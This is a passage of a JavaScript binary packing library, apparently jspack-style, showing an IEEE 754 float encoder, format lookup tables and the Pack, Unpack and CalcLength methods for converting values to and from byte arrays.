mLen = el.mLen, eLen = el.len*8-el.mLen-1, eMax = (1<<eLen)-1, eBias = eMax>>1;
|
||||
|
||||
s = v<0?1:0;
|
||||
v = Math.abs(v);
|
||||
if (isNaN(v) || (v == Infinity))
|
||||
{
|
||||
m = isNaN(v)?1:0;
|
||||
e = eMax;
|
||||
}
|
||||
else
|
||||
{
|
||||
e = Math.floor(Math.log(v)/Math.LN2); // Calculate log2 of the value
|
||||
if (v*(c = Math.pow(2, -e)) < 1) { e--; c*=2; } // Math.log() isn't 100% reliable
|
||||
|
||||
// Round by adding 1/2 the significand's LSD
|
||||
if (e+eBias >= 1) { v += el.rt/c; } // Normalized: mLen significand digits
|
||||
else { v += el.rt*Math.pow(2, 1-eBias); } // Denormalized: <= mLen significand digits
|
||||
if (v*c >= 2) { e++; c/=2; } // Rounding can increment the exponent
|
||||
|
||||
if (e+eBias >= eMax)
|
||||
{
|
||||
// Overflow
|
||||
m = 0;
|
||||
e = eMax;
|
||||
}
|
||||
else if (e+eBias >= 1)
|
||||
{
|
||||
// Normalized - term order matters, as Math.pow(2, 52-e) and v*Math.pow(2, 52) can overflow
|
||||
m = (v*c-1)*Math.pow(2, mLen);
|
||||
e = e + eBias;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Denormalized - also catches the '0' case, somewhat by chance
|
||||
m = v*Math.pow(2, eBias-1)*Math.pow(2, mLen);
|
||||
e = 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = bBE?(el.len-1):0, d=bBE?-1:1; mLen >= 8; a[p+i]=m&0xff, i+=d, m/=256, mLen-=8);
|
||||
for (e=(e<<mLen)|m, eLen+=mLen; eLen > 0; a[p+i]=e&0xff, i+=d, e/=256, eLen-=8);
|
||||
a[p+i-d] |= s*128;
|
||||
};
|
||||
|
||||
|
||||
// Class data
|
||||
m._sPattern = '(\\d+)?([AxcbBhHsfdiIlL])';
|
||||
m._lenLut = {'A':1, 'x':1, 'c':1, 'b':1, 'B':1, 'h':2, 'H':2, 's':1, 'f':4, 'd':8, 'i':4, 'I':4, 'l':4, 'L':4};
|
||||
m._elLut = { 'A': {en:m._EnArray, de:m._DeArray},
|
||||
's': {en:m._EnString, de:m._DeString},
|
||||
'c': {en:m._EnChar, de:m._DeChar},
|
||||
'b': {en:m._EnInt, de:m._DeInt, len:1, bSigned:true, min:-Math.pow(2, 7), max:Math.pow(2, 7)-1},
|
||||
'B': {en:m._EnInt, de:m._DeInt, len:1, bSigned:false, min:0, max:Math.pow(2, 8)-1},
|
||||
'h': {en:m._EnInt, de:m._DeInt, len:2, bSigned:true, min:-Math.pow(2, 15), max:Math.pow(2, 15)-1},
|
||||
'H': {en:m._EnInt, de:m._DeInt, len:2, bSigned:false, min:0, max:Math.pow(2, 16)-1},
|
||||
'i': {en:m._EnInt, de:m._DeInt, len:4, bSigned:true, min:-Math.pow(2, 31), max:Math.pow(2, 31)-1},
|
||||
'I': {en:m._EnInt, de:m._DeInt, len:4, bSigned:false, min:0, max:Math.pow(2, 32)-1},
|
||||
'l': {en:m._EnInt, de:m._DeInt, len:4, bSigned:true, min:-Math.pow(2, 31), max:Math.pow(2, 31)-1},
|
||||
'L': {en:m._EnInt, de:m._DeInt, len:4, bSigned:false, min:0, max:Math.pow(2, 32)-1},
|
||||
'f': {en:m._En754, de:m._De754, len:4, mLen:23, rt:Math.pow(2, -24)-Math.pow(2, -77)},
|
||||
'd': {en:m._En754, de:m._De754, len:8, mLen:52, rt:0}};
|
||||
|
||||
// Unpack a series of n elements of size s from array a at offset p with fxn
|
||||
m._UnpackSeries = function (n, s, a, p)
|
||||
{
|
||||
for (var fxn = el.de, rv = [], i = 0; i < n; rv.push(fxn(a, p+i*s)), i++);
|
||||
return rv;
|
||||
};
|
||||
|
||||
// Pack a series of n elements of size s from array v at offset i to array a at offset p with fxn
|
||||
m._PackSeries = function (n, s, a, p, v, i)
|
||||
{
|
||||
for (var fxn = el.en, o = 0; o < n; fxn(a, p+o*s, v[i+o]), o++);
|
||||
};
|
||||
|
||||
// Unpack the octet array a, beginning at offset p, according to the fmt string
|
||||
m.Unpack = function (fmt, a, p)
|
||||
{
|
||||
// Set the private bBE flag based on the format string - assume big-endianness
|
||||
bBE = (fmt.charAt(0) != '<');
|
||||
|
||||
p = p?p:0;
|
||||
var re = new RegExp(this._sPattern, 'g'), m, n, s, rv = [];
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
n = ((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1]);
|
||||
s = this._lenLut[m[2]];
|
||||
if ((p + n*s) > a.length)
|
||||
{
|
||||
return undefined;
|
||||
}
|
||||
switch (m[2])
|
||||
{
|
||||
case 'A': case 's':
|
||||
rv.push(this._elLut[m[2]].de(a, p, n));
|
||||
break;
|
||||
case 'c': case 'b': case 'B': case 'h': case 'H':
|
||||
case 'i': case 'I': case 'l': case 'L': case 'f': case 'd':
|
||||
el = this._elLut[m[2]];
|
||||
rv.push(this._UnpackSeries(n, s, a, p));
|
||||
break;
|
||||
}
|
||||
p += n*s;
|
||||
}
|
||||
return Array.prototype.concat.apply([], rv);
|
||||
};
|
||||
|
||||
// Pack the supplied values into the octet array a, beginning at offset p, according to the fmt string
|
||||
m.PackTo = function (fmt, a, p, values)
|
||||
{
|
||||
// Set the private bBE flag based on the format string - assume big-endianness
|
||||
bBE = (fmt.charAt(0) != '<');
|
||||
|
||||
var re = new RegExp(this._sPattern, 'g'), m, n, s, i = 0, j;
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
n = ((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1]);
|
||||
s = this._lenLut[m[2]];
|
||||
if ((p + n*s) > a.length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
switch (m[2])
|
||||
{
|
||||
case 'A': case 's':
|
||||
if ((i + 1) > values.length) { return false; }
|
||||
this._elLut[m[2]].en(a, p, n, values[i]);
|
||||
i += 1;
|
||||
break;
|
||||
case 'c': case 'b': case 'B': case 'h': case 'H':
|
||||
case 'i': case 'I': case 'l': case 'L': case 'f': case 'd':
|
||||
el = this._elLut[m[2]];
|
||||
if ((i + n) > values.length) { return false; }
|
||||
this._PackSeries(n, s, a, p, values, i);
|
||||
i += n;
|
||||
break;
|
||||
case 'x':
|
||||
for (j = 0; j < n; j++) { a[p+j] = 0; }
|
||||
break;
|
||||
}
|
||||
p += n*s;
|
||||
}
|
||||
return a;
|
||||
};
|
||||
|
||||
// Pack the supplied values into a new octet array, according to the fmt string
|
||||
m.Pack = function (fmt, values)
|
||||
{
|
||||
return this.PackTo(fmt, new Array(this.CalcLength(fmt)), 0, values);
|
||||
};
|
||||
|
||||
// Determine the number of bytes represented by the format string
|
||||
m.CalcLength = function (fmt)
|
||||
{
|
||||
var re = new RegExp(this._sPattern, 'g'), m, sum = 0;
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
sum += (((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1])) * this._lenLut[m[2]];
|
||||
}
|
||||
return sum;
|
||||
};
|
||||
}();
|
||||
Reference in New Issue
Block a user